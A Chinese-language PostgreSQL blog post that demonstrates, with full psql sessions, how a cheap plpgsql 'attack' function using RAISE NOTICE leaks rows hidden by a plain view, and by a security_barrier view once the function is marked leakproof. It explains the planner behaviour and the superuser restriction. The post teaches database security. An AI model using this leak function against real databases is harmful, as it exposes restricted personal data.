PostgreSQL leakproof function in rule rewrite(attack security_barrier views)

3 minute read

背景

上一篇BLOG我介绍了一下PostgreSQL 9.4新增的一个功能, 支持自动更新设置了安全栅栏的简单视图.

http://blog.163.com/digoal@126/blog/static/163877040201431475019925/

在文章结尾的时候提到leakproof函数和安全栅栏条件一样, 在重写规则时会放到用户的过滤条件之前执行.

因此, 安全栅栏并不能防止leakproof的攻击(当然, 只有超级用户才能创建leakproof函数, 所以也不能说利用leakproof来攻击了. 因为既然有了超级用户权限, 就不需要这么麻烦来获取数据了, 直接读原表得了.).

另外, 使用leakproof函数需要注意的是它的实际执行成本, 如果实际执行成本很高的函数, 又没有特别的需要让它先执行, 那么最好不要设置为leakproof, 因为它不管其他过滤条件, 都是先执行的.

我们可以拿视图攻击的例子来演示这个攻击 :

正文

普通视图的攻击例子 :

digoal=# create table userinfo(id int, groupid int, username text, age int, addr text, email text, phone text);  
CREATE TABLE  
digoal=# insert into userinfo values (1, 1, 'digoal', 1000, '杭州西湖区', 'digoal@126.com', '13999999999');  
INSERT 0 1  
digoal=# insert into userinfo values (2, 1, 'test', 1000, '火星', 'digoal@126.com', '11999999999');  
INSERT 0 1  
digoal=# insert into userinfo values (3, 1, 'test', 1000, '月球', 'digoal@126.com', '11999999999');  
INSERT 0 1  
digoal=# insert into userinfo values (4, 2, 'test', 1000, '土星', 'digoal@126.com', '11999999999');  
INSERT 0 1  
digoal=# create view v_userinfo as select * from userinfo where groupid =2;  
CREATE VIEW  
digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> select * from userinfo;  
ERROR:  permission denied for relation userinfo  
digoal=> select * from v_userinfo;  
ERROR:  permission denied for relation v_userinfo  
digoal=> \c digoal postgres  
You are now connected to database "digoal" as user "postgres".  
digoal=# grant select on v_userinfo to digoal;  
GRANT  
digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> select * from v_userinfo;  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999  
(1 row)  
  
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$  
digoal$> declare  
digoal$> begin  
digoal$>   raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;  
digoal$>   return true;  
digoal$> end;  
digoal$> $$ language plpgsql cost 0.00000000000000000000001;  
CREATE FUNCTION  
digoal=> select * from v_userinfo;  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999  
(1 row)  
  
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999  
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999  
(1 row)  

设置视图的安全栅栏属性 :

使用普通的函数就不能攻击他了.

digoal=> \c digoal postgres  
You are now connected to database "digoal" as user "postgres".  
digoal=# create view v_userinfo_1 with(security_barrier) as select * from userinfo where id=2;  
CREATE VIEW  
  
digoal=# grant select on v_userinfo_1 to digoal;  
GRANT  
digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  2 |       1 | test     | 1000 | 火星 | digoal@126.com | 11999999999  
(1 row)  

但是, 如果把函数设置为leakproof, 就可以被攻击了.

digoal=> \c digoal postgres  
You are now connected to database "digoal" as user "postgres".  
digoal=# alter function digoal.attack(int,int,text,int,text,text,text) leakproof;  
ALTER FUNCTION  
digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);  
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999  
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999  
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999  
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999  
 id | groupid | username | age  | addr |     email      |    phone      
----+---------+----------+------+------+----------------+-------------  
  2 |       1 | test     | 1000 | 火星 | digoal@126.com | 11999999999  
(1 row)  

原因是在重写规则时, leakproof函数和安全栅栏条件一样, 被放到了relation层过滤, 而普通函数则在子查询中过滤 :

digoal=> explain verbose select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);  
                                                                       QUERY PLAN                                                     
                       
------------------------------------------------------------------------------------------------------------------------------------  
---------------------  
 Seq Scan on public.userinfo  (cost=0.00..34.00 rows=3 width=140)  
   Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone  
   Filter: (attack(userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone) AN  
D (userinfo.id = 2))  
(3 rows)  
  
digoal=> \c digoal postgres  
You are now connected to database "digoal" as user "postgres".  
digoal=# alter function digoal.attack(int,int,text,int,text,text,text) not leakproof;  
ALTER FUNCTION  
digoal=# \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> explain verbose select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);  
                                                                         QUERY PLAN                                                   
                           
------------------------------------------------------------------------------------------------------------------------------------  
-------------------------  
 Subquery Scan on v_userinfo_1  (cost=0.00..34.10 rows=3 width=140)  
   Output: v_userinfo_1.id, v_userinfo_1.groupid, v_userinfo_1.username, v_userinfo_1.age, v_userinfo_1.addr, v_userinfo_1.email, v_  
userinfo_1.phone  
   Filter: attack(v_userinfo_1.id, v_userinfo_1.groupid, v_userinfo_1.username, v_userinfo_1.age, v_userinfo_1.addr, v_userinfo_1.em  
ail, v_userinfo_1.phone)  
   ->  Seq Scan on public.userinfo  (cost=0.00..34.00 rows=10 width=140)  
         Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone  
         Filter: (userinfo.id = 2)  
(6 rows)  

当然, 只有超级用户才能创建leakproof函数, 所以也不能说利用leakproof来攻击了. 因为既然有了超级用户权限, 就不需要这么麻烦来获取数据了, 直接读原表得了.

digoal=> \c digoal digoal  
You are now connected to database "digoal" as user "digoal".  
digoal=> alter function digoal.attack(int,int,text,int,text,text,text) not leakproof;  
ALTER FUNCTION  
digoal=> alter function digoal.attack(int,int,text,int,text,text,text) leakproof;  
ERROR:  only superuser can define a leakproof function  

参考

1. http://www.postgresql.org/docs/devel/static/rules-privileges.html

2. http://blog.163.com/digoal@126/blog/static/163877040201361031431669/

3. http://blog.163.com/digoal@126/blog/static/163877040201431475019925/

Flag Counter

digoal’s 大量PostgreSQL文章入口